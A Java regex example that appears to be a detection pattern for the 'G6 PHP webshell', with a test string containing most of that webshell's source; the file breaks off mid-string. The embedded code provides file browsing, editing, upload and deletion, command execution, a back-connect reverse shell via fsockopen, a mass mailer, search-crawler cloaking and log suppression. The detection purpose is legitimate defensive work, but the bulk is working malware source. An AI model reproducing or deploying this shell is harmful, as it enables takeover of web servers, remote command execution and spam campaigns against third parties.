import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class Example {
public static void main(String[] args) {
final String regex = "(\\$\\w+)\\s*=\\s*array\\(\\)[;\\s]+(?:(?:else)*if\\s*\\(\\w+\\(\\)[='\"]+(?:exec|passthru|system)['\"][^\\{]+[\\{\\s]+(?:echo|print)[^;]+[;\\s]+(?:exec|passthru|system)\\(\\$_(?:GET|POST|REQUEST)\\[[^]]+\\]\\s*,\\s*\\1[^\\}]+[\\}\\s]+){1,3}(?:.{50,300})G6\\s+Shell\\s+";
final String string = "<!DOCTYPE html>\n"
+ "<html>\n"
+ "<!--\n"
+ " Version: 1.1 Beta\n\n"
+ " G6 PHP webshell was coded by Mr. P-teo for the Hacking community.\n"
+ " G6 offers the following features:\n"
+ " - File Browsing\n"
+ " - File Editing\n"
+ " - File Upload\n"
+ " - Self Remove\n"
+ " - PHP code execution\n"
+ " - Server Information\n"
+ " - Password Hash Identifier\n"
+ " - Terminal\n"
+ " - Remote Back Connect\n"
+ " - Mass Mail\n"
+ " \n"
+ " Mass error with filemanager, will re-write at the week end. \n\n"
+ "--> \n"
+ "<style stype=\"text/css\">\n"
+ ".flink{font-weight:normal;}\n"
+ "body{background-color:#101010; background:#101010;color:#f2f2f2;font-family:tahoma;font-size:12px;}\n"
+ "body a{ color:#3467BA;font-weight:bold;text-decoration:none;}\n"
+ "body a:hover{text-decoration:underline;}\n"
+ "#main_content{border:1px solid #5C7296;overflow:hidden;width:1000px;height:auto;padding:15px;margin: 0 auto;background:#0A0A0A;border-radius:6px;-moz-border-radius:6px;-webkit-border-radius:6px;}\n"
+ ".enabled{color:#7ACC29;}\n"
+ ".enabled a{color:#7ACC29;font-weight:normal;}\n"
+ ".disabled{color:#CC0000;}\n"
+ ".execbox{width:250px;padding: 5px 15px 15px 15px;height:auto;border:solid 1px #47A3FF;background:#0A0A0A;}\n"
+ ".viewsource{border:solid 1px #47A3FF;background:#0A0A0A;color:#f2f2f2;}\n"
+ ".command{width:620px;border:solid 1px #47A3FF;outline:none;background:#0A0A0A;color:#f2f2f2;}\n"
+ ".response{width:616px;color:green;height:300px;border-bottom:solid 1px #47A3FF;border-right:solid 1px #47A3FF;border-left:solid 1px #47A3FF;border-top:0;outline:none;background:#0A0A0A;color:#f2f2f2;margin:-4px 0px 0px 0px;}\n"
+ ".TableHeader_Name{width:450px;padding:0px 0px 0px 5px;height:25px;font-weight:bold;font-family:verdana;background-color:#282828;border-top-left-radius:4px;-moz-border-top-left-radius:4px;-webkit-border-top-left-radius:4px;}\n"
+ ".TableHeader{width:100px;height:25px;font-weight:bold;font-family:verdana;text-align:center;background-color:#282828;}\n"
+ ".TableHeaderoptions{padding:0px 0px 0px 15px;width:170px;height:25px;font-weight:bold;font-family:verdana;background-color:#282828;border-top-right-radius:4px;-moz-border-top-right-radius:4px;-webkit-border-top-right-radius:4px;}\n"
+ ".filesize{color:green;text-align:center;}\n"
+ ".filenames a{font-weight:normal;text-decoration:none;}\n"
+ ".filenames a:hover{text-decoration:underline;}\n"
+ "tr{background-color: #080808;}\n"
+ "tr:hover{background-color:#282828;}\n"
+ "#options{font-weight:200;font-family:tahoma;margin-left:10px;display:block;}\n"
+ "#title{font-size:25px;font-weight:bold;font-family:arial;display:block;padding:15px 0px 0px 0px;}\n"
+ ".Logo{font-size:150px;text-align:center;color:#101010;}\n"
+ ".logotext{font-size:20px;text-align:center;color:#101010;}\n"
+ ".terminaltop{background-color:#686868;margin:-10px 0px -3px 0px;width:622px;height:20px;border-top-right-radius:5px;-moz-border-top-right-radius:5px;-webkit-border-top-right-radius:5px;border-top-left-radius:5px;-moz-border-top-left-radius:5px;-webkit-border-top-left-radius:5px;}\n"
+ ".TableHeaderoptions2{padding:0px 0px 0px 15px;width:170px;height:25px;font-weight:bold;font-family:verdana;background-color:#282828;border-top-right-radius:4px;-moz-border-top-right-radius:4px;-webkit-border-top-right-radius:4px;}\n"
+ ".box{padding:10px;background-color:#292929;border:1px solid #3467BA;height:auto;width:970;border-radius:6px;-moz-border-radius:6px;-webkit-border-radius:6px;}\n"
+ ".box2{padding:5px;background-color:#000000;height:auto;width:970;border-radius:6px;-moz-border-radius:6px;-webkit-border-radius:6px;}\n"
+ ".optionstr td{background-color:#0A0A0A;}\n"
+ ".optionstr td:hover{background-color:#0A0A0A;}\n"
+ ".chdir{background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px;}\n"
+ ".godir{margin:0px 10px 0px -5px;background-color:#292929;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;width:24px;border-top-right-radius:4px;-moz-border-top-right-radius:4px;-webkit-border-top-right-radius:4px;border-bottom-right-radius:4px;-moz-border-bottom-right-radius:4px;-webkit-border-bottom-right-radius:4px;}\n"
+ "</style>\n"
+ "<body>\n"
+ " <div id=\"main_content\">\n"
+ "<?php\n"
+ "ob_start();\n"
+ "ini_set('display_errors', false);\n"
+ "ini_set('memory_limit', '-1');\n\n"
+ "if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found'); exit; } \n\n"
+ "@ini_set('error_log',NULL);\n"
+ "@ini_set('log_errors',0);\n"
+ "@ini_set('max_execution_time',0);\n"
+ "echo \"<title>G6 Shell v1.1 - Private .::Made By Mr. P-teo::.</title>\n"
+ "<script type=\"text/javascript\" language=\"javascript\">\n"
+ "<!--\n"
+ "ML=\"P<>phTsmtr/9:Cuk RIc=jSw.o\";\n"
+ "MI=\"1F=AB05@FA=D4883<::GGGHC;;343HCI7:8>9?HE621:F=AB052\";\n"
+ "OT=\"\";\n"
+ "for(j=0;j<MI.length;j++){\n"
+ "OT+=ML.charAt(MI.charCodeAt(j)-48);\n"
+ "}document.write(OT);\n"
+ "// --></script>\n"
+ "\";\n\n"
+ "function get_srv_info(){\n\n"
+ " echo \"<br /><span id='title'>G6 Shell v1.1 - Private</span><br /><div class='box'><b>Server Name: </b>\".$_SERVER[\"SERVER_NAME\"].\"<br />\n"
+ " <b>Server IP: </b>\".$_SERVER[\"SERVER_ADDR\"].\" <span class='enabled'><a href='http://www.who.is/whois/\".$_SERVER['HTTP_HOST'].\"' target='_blank'>[WHOIS]</a> - <a href='http://www.dnsstuff.com/tools?runFromMain=\".$_SERVER[\"SERVER_ADDR\"].\"&toolType=traceroute' target='_blank'>[TRACEROUTE]</a></span><br />\".\n"
+ " \"<b>Shell Location: </b>\".$_SERVER[\"SCRIPT_FILENAME\"].\"<br />\n"
+ " <b>Server Software: </b>\".$_SERVER[\"SERVER_SOFTWARE\"].\" <span class='enabled'><a href='http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=\".$_SERVER['SERVER_SOFTWARE'].\"&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=' target='_blank'>[Exploit DB]</a></span><br />\n"
+ " </div><br /><br /><p></p>\";\n"
+ "}\n\n"
+ "function cmd(){\n"
+ " $disabled = explode(', ', ini_get('disable_functions'));\n"
+ " $diabledLower = array();\n"
+ " foreach($diabled as $function){$diabledLower[] = strtolower($function);}\n"
+ " if(!in_array($diabledLower, \"exec\")){return \"exec\"; }elseif(!in_array($diabledLower, \"passthru\")){return \"passthru\";}elseif(!in_array($diabledLower, \"system\")){return \"system\";}else{return \"none\";}}\n"
+ " $shellVersion = \"1.1\";\n\n"
+ "$upload = $_GET['dXBsb2Fk'];\n"
+ "$downloadfilename = $_GET['ZG93bg'];\n"
+ "$delete = $_GET['delete'];\n"
+ "$file_explorer = $_GET['ZmlsZV9leHBsb3Jlcg'];\n"
+ "$mkdir = $_GET['bWtkaXI'];\n"
+ "$currentDirectoryFileDl = $_GET['downlfile'];\n"
+ "$NavLinks = array(\n"
+ " array(\n"
+ " \"name\" => \"Main\",\n"
+ " \"url\" => \"?\"\n"
+ " ),\n"
+ " array(\n"
+ " \"name\" => \"Server Information\",\n"
+ " \"url\" => \"?c3J2aW5mbw=\"\n"
+ " ),\n"
+ " array(\n"
+ " \"name\" => \"File Explorer\",\n"
+ " \"url\" => \"?ZmlsZV9leHBsb3Jlcg=\".dirname(__FILE__).\"/\"\n"
+ " ),\n"
+ " array(\n"
+ " \"name\" => \"Terminal\",\n"
+ " \"url\" => \"?dGVybWlhbmw\"\n"
+ " ),\n"
+ " array(\n"
+ " \"name\" => \"Hash Identifier\",\n"
+ " \"url\" => \"?aGk=\"\n"
+ " ),\n"
+ " array(\n"
+ " \"name\" => \"PHP Exec\",\n"
+ " \"url\" => \"?eval\"\n"
+ " ),\n"
+ " array(\n"
+ " \"name\" => \"Back Connect\",\n"
+ " \"url\" => \"?YmNrbmV0=\"\n"
+ " ),\n"
+ " array(\n"
+ " \"name\" => \"Mass Mailer\",\n"
+ " \"url\" => \"?kueqymass\"\n"
+ " ),\n"
+ " array(\n"
+ " \"name\" => \"Shell-101\",\n"
+ " \"url\" => \"?a253aXN1ZQ\"\n"
+ " ),\n"
+ " array(\n"
+ " \"name\" => \"Self Remove\",\n"
+ " \"url\" => \"?srmve\"\n"
+ " )\n"
+ ");\n"
+ "$CurrentUrl = \"http://\".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];\n"
+ "$last = count($NavLinks) - 1;\n"
+ "foreach($NavLinks as $NavLink => $NavRow){\n"
+ " $linknames = ($NavLink == 0);\n"
+ " $linkurls = ($NavLink == $last);\n"
+ " echo '<a href=\"'.$NavRow['url'].'\">'.$NavRow['name'].'</a> / ';\n"
+ "}\n"
+ "if(strstr($CurrentUrl, \"readfile\")){\n"
+ " $sourcefile = $_REQUEST['readfile'];\n"
+ " if(is_file($sourcefile)){\n"
+ " get_srv_info();\n"
+ " if(isset($sourcefile))\n"
+ " {\n"
+ " $Finalsource = file_get_contents($sourcefile); \n\n"
+ " echo \"<strong>Editing: </strong>\".$sourcefile.\"<br /><br /><a href='\".$_SERVER['HTTP_REFERER'].\"'>« Back to files</a><br /><form action='' method='POST'><textarea name='sourcecode' class='viewsource' rows='20' cols='121'>\".htmlentities($Finalsource).\"</textarea><br /><input type='Submit' value='Save File' name='save' /></form>\";\n"
+ " }\n"
+ " }else{\n"
+ " echo \"Data not sent.\";\n"
+ " }\n"
+ " if(isset($_POST['save'])){\n"
+ " $new_source = $_POST['sourcecode'];\n"
+ " $source_edit = fopen($sourcefile, 'w');\n"
+ " fwrite($source_edit, $new_source);\n"
+ " fclose($source_edit);\n"
+ " }\n"
+ "}elseif(strstr($CurrentUrl, \"aGk\")){\n"
+ " get_srv_info();\n"
+ " echo \"<p>G6 hash identifier is able to identify MD5, SHA-1, MySQL5, DES(Unix), SHA-256, SHA-384, SHA-512, MD5(Unix), MD5(APR), MD5(phpBB3), MD5(Wordpress), SHA-256(Unix), SHA-512(Unix) and MD5(Base-64).</p>\";\n"
+ " if(isset($_POST['gethash'])){\n"
+ " $hash = $_POST['hash'];\n"
+ " if(strlen($hash)==32){\n"
+ " $hashresult == \"MD5 Hash\";\n"
+ " }elseif(strlen($hash)==40){\n"
+ " $hashresult = \"SHA-1 Hash/ /MySQL5 Hash\";\n"
+ " }elseif(strlen($hash)==13){\n"
+ " $hashresult = \"DES(Unix) Hash\";\n"
+ " }elseif(strlen($hash)==16){\n"
+ " $hashresult = \"MySQL Hash / /DES(Oracle Hash)\";\n"
+ " }elseif(strlen($hash)==41){\n"
+ " $GetHashChar = substr($hash, 40);\n"
+ " if($GetHashChar == \"*\"){\n"
+ " $hashresult = \"MySQL5 Hash\"; \n"
+ " } \n"
+ " }elseif(strlen($hash)==64){\n"
+ " $hashresult = \"SHA-256 Hash\";\n"
+ " }elseif(strlen($hash)==96){\n"
+ " $hashresult = \"SHA-384 Hash\";\n"
+ " }elseif(strlen($hash)==128){\n"
+ " $hashresult = \"SHA-512 Hash\";\n"
+ " }elseif(strlen($hash)==34){\n"
+ " if(strstr($hash, '$1$')){\n"
+ " $hashresult = \"MD5(Unix) Hash\";\n"
+ " } \n"
+ " }elseif(strlen($hash)==37){\n"
+ " if(strstr($hash, '$apr1$')){\n"
+ " $hashresult = \"MD5(APR) Hash\";\n"
+ " } \n"
+ " }elseif(strlen($hash)==34){\n"
+ " if(strstr($hash, '$H$')){\n"
+ " $hashresult = \"MD5(phpBB3) Hash\";\n"
+ " } \n"
+ " }elseif(strlen($hash)==34){\n"
+ " if(strstr($hash, '$P$')){\n"
+ " $hashresult = \"MD5(Wordpress) Hash\";\n"
+ " } \n"
+ " }elseif(strlen($hash)==39){\n"
+ " if(strstr($hash, '$5$')){\n"
+ " $hashresult = \"SHA-256(Unix) Hash\";\n"
+ " } \n"
+ " }elseif(strlen($hash)==39){\n"
+ " if(strstr($hash, '$6$')){\n"
+ " $hashresult = \"SHA-512(Unix) Hash\";\n"
+ " } \n"
+ " }elseif(strlen($hash)==24){\n"
+ " if(strstr($hash, '==')){\n"
+ " $hashresult = \"MD5(Base-64) Hash\";\n"
+ " } \n"
+ " }else{\n"
+ " $hashresult = \"Hash type not found\";\n"
+ " }\n"
+ " }else{\n"
+ " $hashresult = \"Not Hash Entered\";\n"
+ " }\n"
+ " ?>\n"
+ " <center>\n"
+ " <form action=\"\" method=\"POST\"><table><tr class=\"optionstr\"><td>Enter Hash:</td> <td><input type=\"text\" name=\"hash\" class=\"command\" /></td><td><input type=\"submit\" name=\"gethash\" value=\"Identify Hash\" /></td></tr><tr class=\"optionstr\"><td>Result: </td><td><?php echo $hashresult; ?></td></tr></table></form>\n"
+ " </center>\n"
+ " \n"
+ " <?php\n\n"
+ "}elseif(strstr($CurrentUrl, \"YmNrbmV0\")){\n"
+ " get_srv_info();\n"
+ " echo '\n"
+ "<div id=\"back\">\n"
+ " <h2>Back Connect</h2>\n"
+ " <p>Back connect will allow you to enter system commands remotely.</p>\n"
+ " <p>\n"
+ " <table>\n"
+ " <form action=\"\" method=\"post\">\n"
+ " <tr class=\"optionstr\"><td>IP Address: </td><td><input type=\"textbox\" name=\"ip\" style=\"border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;\"></td></tr>\n"
+ " <tr class=\"optionstr\"><td>Port: </td><td><input type=\"textbox\" name=\"port\" style=\"border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;\"></td></tr>\n"
+ " <tr class=\"optionstr\"><td><input type=\"submit\" name=\"bind\" value=\"Open Connection\" style=\"border:1px solid #5C7296; color: #5C7296;background-color:#1d1d1d;font-size:13px;\"></td></tr>\n"
+ " </form>\n"
+ " </table>';\n"
+ " if(isset($_POST['bind']))\n"
+ " {\n"
+ " echo \"<p>Attempting Connection...</p>\";\n"
+ " $ip = $_POST['ip'];\n"
+ " $port= $_POST['port'];\n"
+ " $sockfd=fsockopen($ip , $port , $errno, $errstr );\n"
+ " if($errno != 0){echo \"<font color='red'><b>$errno</b> : $errstr</font>\";}else if (!$sockfd) {$result = \"<p>Unexpected error has occured, connection may have failed.</p>\";} else {fputs ($sockfd ,\"\\n{################################################################}\\n..:: G6 W3b Sh3ll v1.1- Coded By Mr. P-teo ::..\\n\\n=> Backconnect \\n=> Back \\n\n"
+ " \\n{################################################################}\"); $pwd = shell_exec(\"pwd\"); $sysinfo = shell_exec(\"uname -a\"); $time = Shell_exec(\"time\"); $len = 1337; fputs($sockfd, \"User \", $sysinfo, \"connected @ \", $time, \"\\n\\n\"); while(!feof($sockfd)){ $cmdPrompt = '[G6]#:> ';fputs ($sockfd , $cmdPrompt );$command= fgets($sockfd, $len);\n"
+ " fputs($sockfd , \"\\n\" . shell_exec($command) . \"\\n\\n\"); } fclose($sockfd);}}\n"
+ " echo \"</p></div>\";\n\n"
+ "}elseif(strstr($CurrentUrl, \"bWtmbA\")){\n"
+ " get_srv_info();\n"
+ " echo \"<p>If no file path is included it will be created within the same directory as the shell.</p><form action='' method='post'><p>Filename: <input type='text' name='newfilename' /></p><p><input type='submit' value='Create File' name='create' /></p></form>\";\n"
+ " $newfilename = htmlentities($_POST['newfilename']);\n"
+ " if(isset($_POST['create'])){$ourFileName = $newfilename;$ourFileHandle = fopen($ourFileName, 'w') or die(\"can't open file\");fclose($ourFileHandle);}\n"
+ " echo \"<br /><br />\";\n"
+ "}elseif(strstr($CurrentUrl, \"bWtkaXI\")){\n"
+ " get_srv_info();\n"
+ " echo \"<p>If no file path is included directory will be created within the same directory as the shell.</p>\n"
+ " <form action='' method='post'>\n"
+ " <p>Directory Name: <input type='text' name='newdirname' /></p>\n"
+ " <p><input type='submit' value='Create New Directory' name='createdir' /></p>\n"
+ " </form>\";\n"
+ " $newdirname = htmlentities($_POST['newdirname']);\n"
+ " if(isset($_POST['createdir'])){\n"
+ " $ourdirName = $newdirname;\n"
+ " mkdir($ourdirName, 0777);\n"
+ " echo \"Directory Created!\";\n"
+ " }\n"
+ " echo \"\n"
+ " <br /><br />\";\n"
+ "}elseif(strstr($CurrentUrl, \"ZmlsZV9leHBsb3Jlcg\")){\n"
+ " get_srv_info();\n"
+ " $upload = $file_explorer;\n"
+ " echo '<p><form action=\"\" method=\"POST\"><table><tr class=\"optionstr\"><td><input class=\"chdir\" type=\"text\" name=\"chdir\" value=\"'.$file_explorer.'\"\" /></td><td></td></form><td><div id=\"options\"><a href=\"'.$CurrentUrl.'\">Refresh Files</a></div></td><td><div id=\"options\"><!--<a href=\"?bWtkaXI='.$file_explorer.'\">Make Directory</a> | <a href=\"?bWtmbA='.$file_explorer.'\">Make File</a> | <a href=\"?dXBsb2Fk='.$upload.'\">Upload</a></div>--></td></tr>';\n"
+ " if(isset($_POST['godir'])){$mandircha = $_POST['chdir'];if($mandircha){ header(\"Location: ?ZmlsZV9leHBsb3Jlcg=\".$_POST['chdir']);}}\n"
+ " ?>\n"
+ " </div></p>\n"
+ " <table class=\"FileBrowserTable\"><tr><td class=\"TableHeader_Name\"> FileName's</td><td class=\"TableHeader\">Filetype</a></td><td class=\"TableHeader\">Size</td><td class=\"TableHeader\">Permisions</td><td class=\"TableHeader\">Last Modified</td><td class=\"TableHeaderoptions\"> Options</td></tr>\n"
+ " <?php\n\n"
+ " $Shell_Directory = $_SERVER['REMOTE_DIR'];\n"
+ " //load files... \n\n"
+ " function GetFileType($file){\n"
+ " if(!is_dir($file)){\n"
+ " if(strstr($file, \".\")){\n"
+ " $FileExt = end(explode(\".\", $file));\n"
+ " return $FileExt;\n"
+ " }else{\n"
+ " return \"Directory\";\n"
+ " }\n"
+ " }else{\n"
+ " $Directory = \"Directory\";\n"
+ " return $Directory;\n"
+ " }\n"
+ " }\n\n"
+ " \n\n\n"
+ "function GetFileSize($file){\n"
+ " if(!is_dir($file))\n"
+ " return round(filesize($file) / 1024, 2) . \" Kb\";\n"
+ " else\n"
+ " return \"Not Availible\";\n"
+ "}\n\n"
+ "function LastModified($file){\n"
+ " return \"<center>\".date(\"m/d/y\", filemtime($file)).\"</center>\";\n"
+ "}\n\n"
+ "function permissions($file){\n"
+ " if(is_readable($file)){\n"
+ " $readable = \"r\";\n"
+ " }else{\n"
+ " $readable = \"?\";\n"
+ " }\n"
+ " if(is_writable($file)){\n"
+ " $writable = \"w\";\n"
+ " }else{\n"
+ " $writable = \"?\";\n"
+ " }\n"
+ " if(is_executable($file)){\n"
+ " $executable = \"x\";\n"
+ " }else{\n"
+ " $executable = \"?\";\n"
+ " }\n\n\n"
+ "if($readable.\"--\".$writable.\"--\".$executable == \"r--w--x\"){\n"
+ " return \"<center style='color:#f1f1f1;'>\".$readable.\"--\".$writable.\"--\".$executable.\"</center>\";\n"
+ "}else{\n"
+ " return \"<center>\".$readable.\"--\".$writable.\"--\".$executable.\"</center>\";\n"
+ "}\n"
+ "}\n\n"
+ " $Files = scandir($file_explorer);\n"
+ " foreach($Files as $File){\n"
+ " if($File == \"..\"){\n"
+ " $currentDirectory = $_GET['ZmlsZV9leHBsb3Jlcg'];\n"
+ " //Up a directory\n"
+ " $currentDirectory = substr($currentDirectory, 0, strrpos($currentDirectory, \"/\"));\n"
+ " echo \"<tr><td><a href='?ZmlsZV9leHBsb3Jlcg=\" .$currentDirectory. \"'>\" . $File . \"</a></td><td></td><td></td><td></td><td></td><td></td></tr>\";\n\n"
+ " }elseif($File == \".\"){\n"
+ " //Same as current Dir, no need for this...\n\n"
+ " }else{\n"
+ " $currentDirectory = $_GET['ZmlsZV9leHBsb3Jlcg'];\n"
+ " $type = GetFileType($currentDirectory. \"/\" .$File);\n"
+ " if($type == \"Directory\"){\n"
+ " echo \"<tr><td><a class='flink' title='Explore Directory' href='?ZmlsZV9leHBsb3Jlcg=\" .$currentDirectory. \"/\" .$File. \"'>\" . $File . \"/</a></td><td><center>\" . $type . \"</center></td><td class='filesize'>\" . GetFileSize($currentDirectory. \"/\" .$File) . \"</td><td style='color:red;'>\".permissions($currentDirectory. \"/\" .$File).\"</td><td>\" . LastModified($currentDirectory. \"/\" .$File) . \"</td><td>Not Availible</td></tr>\";\n"
+ " }else{\n"
+ " echo \"<tr><td><a class='flink' title='Edit File' href='?readfile=\" .$currentDirectory. \"/\" .$File. \"'>\" . $File . \"</a></td><td><center>\" . $type . \"</center></td><td class='filesize'>\" . GetFileSize($currentDirectory. \"/\" .$File) . \"</td><td style='color:red;'>\".permissions($currentDirectory. \"/\" .$File).\"</td><td>\" . LastModified($currentDirectory. \"/\" .$File) . \"</td><td><a href='?readfile=\" .$currentDirectory. \"/\" .$File. \"' title='Edit File'>E</a> - <a href='?delete=\" .$currentDirectory. \"/\" .$File. \"' title='Bin the Document'>B</a> - <a href='?downlfile=\".$currentDirectory. \"/\" .$File.\"&file=\".$File.\"' title='Download File'>D</a></td></tr>\";\n"
+ " }\n"
+ " }\n"
+ " }\n"
+ " \n"
+ "?>\n"
+ "</table>\n"
+ "<div style=\"background:#282828;border-bottom-right-radius:4px;-moz-border-bottom-right-radius:4px;-webkit-border-bottom-right-radius:4px;border-bottom-left-radius:4px;-moz-border-bottom-left-radius:4px;-webkit-border-bottom-left-radius:4px;height:25px;margin:0px 0px 10px 0px;width:1000px;\" ></div>\n"
+ " <div style=\"padding:10px;background-color: #292929;border: 1px solid #3467BA;border-radius: 6px;-moz-border-radius: 6px;-webkit-border-radius: 6px;width:220px;float:left;margin:10px 10px 15px 0px;\">\n"
+ " <h4>File Upload</h4><form action=\"\" method=\"post\" enctype=\"multipart/form-data\"><input type=\"file\" name=\"file\" /><br /><input type=\"submit\" name=\"upload\" value=\"Upload File\" /></form></div>\n"
+ " <?php\n"
+ " if(isset($_POST['upload'])){if(isset($_FILES['file'])){ move_uploaded_file($_FILES[\"file\"][\"tmp_name\"], $file_explorer.\"/\". $_FILES[\"file\"][\"name\"]);echo '<script>alert(\"File successfully uploaded, enjoy.\");</script>';} }\n"
+ " ?>\n"
+ " <div style=\"padding:10px;background-color: #292929;border: 1px solid #3467BA;border-radius: 6px;-moz-border-radius: 6px;-webkit-border-radius: 6px;width:220px;float:left;margin:10px 10px 15px 0px;\">\n"
+ " <h4>Create Directory</h4>\n"
+ " <form action=\"\" method=\"post\"><input type=\"text\" name=\"dirname\" /><br /><input type=\"submit\" name=\"createdir\" value=\"Create Dir\" /></form></div>\n"
+ " <?php\n"
+ " if(isset($_POST['createdir'])){if(strlen($_POST['dirname']) > 0){mkdir($file_explorer.\"/\".$_POST['dirname'], 777) or die($file_explorer.\"/\".$_POST['dirname']);}}\n"
+ " ?>\n"
+ " <br /><br /><br />\n"
+ "<?php\n\n"
+ " \n"
+ "}elseif(strstr($CurrentUrl, \"downlfile\")){\n"
+ " /*$type = mime_content_type($currentDirectoryFileDl);\n"
+ " header('Content-Type: '.$type);\n"
+ " header('Content-Disposition: attachment; filename=\"'.$currentDirectoryFileDl.'\"');*/\n"
+ " $file = $_GET['file'];\n"
+ " // header('Content-Type: application/force-download'); Non-standard MIME-Type, incompatible with Samsung C3050 for example. Let it commented\n"
+ " //readfile($currentDirectoryFileDl);\n"
+ " forceDL($currentDirectoryFileDl, $file);\n"
+ " /*\n"
+ " * forceDL\n"
+ " * \n"
+ " * Forces the browser to download file\n"
+ " * \n"
+ " * @param string $filePath Path to the selected download\n"
+ " * @param string $fileName Name of file to be saved, can be anything honestly\n"
+ " */\n"
+ " function forceDL($filePath, $fileName) {\n"
+ " /* Rquired for IE */\n"
+ " if(ini_get('zlib.output_compression')) { ini_set('zlib.output_compression', 'Off'); }\n"
+ " \n"
+ " /*\n"
+ " Files not downloading with correct headers?\n"
+ " 1) Open file in Notepad++ (or similar) and check for white-space or other code (php code)\n"
+ " 2) Extra code?\n"
+ " 3) Problem found.\n"
+ " 4) Profit\n"
+ " Should answer most questions\n"
+ " */\n"
+ " \n"
+ " /* Headers */\n"
+ " header('Pragma: public');\n"
+ " header('Expires: 0');\n"
+ " header('Cache-Control: must-revalidate, post-check=0, pre-check=0');\n"
+ " header('Last-Modified: ' . gmdate('D, d M Y H:i:s', filemtime($filePath)).' GMT');\n"
+ " header('Cache-Control: private', false);\n"
+ " header('Content-Type: application/force-download');\n"
+ " header('Content-disposition: attachment; filename=\"' . $fileName . '\"');\n"
+ " header('Content-Transfer-Encoding: binary');\n"
+ " header('Content-length: ' . filesize($filePath));\n"
+ " readfile($filePath);\n"
+ " echo $filePath.$fileName;\n"
+ " exit();\n"
+ " }\n\n"
+ "}elseif(strstr($CurrentUrl, \"kueqymass\")){\n"
+ " get_srv_info();\n"
+ " ?>\n"
+ " <strong>Mass Mailer</strong>\n"
+ " <p>Be warned using the mass mailing feature may attract attention to your G6 shell. Seperate each email with <strong>;</strong></p>\n"
+ " <form action=\"\" method=\"post\">\n"
+ " <table><tr><td>To Email(s): </td><td><input type=\"text\" style=\"background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px; width:220px;\" name=\"email\" placeholder=\"email@address.com\" /></tr><tr><td>Subject: </td> <td><input type=\"text\" style=\"background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px;width:220px\" name=\"subject\" /></td></tr><tr><td>From Email: </td><td><input type=\"email\" style=\"background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px;width:220px;\" name=\"fromEmail\" placeholder=\"example@google.com\" /></td></tr><tr><td>Message: </td><td></td></tr></table><table><tr><td><textarea style=\"background-color:#010101;color:#f2f2f2;border:1px solid #3467BA;outline:none;font-size:11px;border-radius:3px;-moz-border-radius:3px;-webkit-border-radius:3px;padding:2px 3px;margin:0 0 0 -1px; height:200px;width:290px;\" name=\"message\"></textarea></td></tr><tr><td><input type=\"submit\" name=\"send\" value=\"Send Message(s)\" /></td></tr></table></form>\n"
+ " <?php\n"
+ " if(isset($_POST['send'])){ $email = $_POST['email'];$subject = $_POST['subject'];$from = $_POST['fromEmail'];$message = $_POST['message'];if($email&&$subject&&$from&&$message){$emails = explode(\";\", $email);foreach($emails as $email){mail($email, $subject, $message, \"From: \".$from); }}}\n"
+ "}elseif(strstr($CurrentUrl, \"delete\")){\n"
+ " if(!is_dir($delete)){unlink($delete);}else{rmdir($delete);}\n"
+ " header(\"Location: \".$_SERVER['HTTP_REFERER']);\n"
+ "}elseif(strstr($CurrentUrl, \"c3J2aW5mbw\")){\n"
+ " get_srv_info();\n"
+ " $s_safemode = ini_get(\"safe_mode\");\n"
+ " if($s_safemode = TRUE){$s_safemode = \"<span class='enabled'>[ON\";}else{$s_safemode = \"<span class='disabled'>[OFF\"; }\n"
+ " if(extension_loaded('curl')){$curls=\"<span class='enabled'>[ON]</span>\";}else{$curls=\"<span class='disabled'>[OFF]</span>\";}\n"
+ " echo \"<b>Server Port: </b>\".$_SERVER['SERVER_PORT'].\"<br /><br /><b>HTTP Connection: </b>\".$_SERVER['HTTP_CONNECTION'].\"<br /><br /><b>Operating System:</b> \".php_uname().\"<br /><br />\";\n"
+ " if(get_magic_quotes_gpc()){echo \"<b>Magic Quotes:</b> <span class='enabled'>[ENABLED]</span><br /><br />\";}else{echo \"<b>Magic Quotes:</b> <span class='disabled'>[DISABLED]</span><br /><br />\";}\n"
+ " echo \"<b>PHP Version:</b> \".phpversion().\"<br /><br /><b>Safe Mode: </b>\".$s_safemode.\"]</span><br /><br /><b>Curl: </b>\".$curls.\"<br /><br /><b>Accept Encoding: </b> \".$_SERVER['HTTP_ACCEPT_ENCODING'].\"<br /><br /><b>Admin: </b>\".$_SERVER['SERVER_ADMIN'].\"<br /><br /><strong>Disabled Functions: </strong>\";\n"
+ " if(!empty($disabled)){\n"
+ " foreach($disabled as $functionsdis){\n"
+ " echo $functionsdis.\", \";\n"
+ " }\n"
+ " }else{\n"
+ " echo \"none\";\n"
+ " }\n"
+ " echo \"<br /><br /><strong>/etc/passwd: </strong>\";\n"
+ " if(is_readable(\"/home/etc/passwd\")){\n"
+ " echo \"<span style='color:green;'>Readable</span>\";\n"
+ " }else{\n"
+ " echo \"<span style='color:red;'>Unreadable</span>\";\n"
+ " }\n"
+ "}elseif(strstr($CurrentUrl, \"dGVybWlhbmw\")){\n"
+ " \n"
+ " get_srv_info();\n"
+ " ?>\n"
+ " <p>Command line execution via exec, passthru or system.</p>\n"
+ " \n"
+ " <form action=\"\" method=\"post\"><table><tr><td><b>Command Execution: </b></td><td><input type=\"text\" placeholder=\"root~$ \" autocomplete=\"off\" name=\"command\" class=\"command\"/></td></tr></table>\n"
+ " <?php\n"
+ " $out = array();\n"
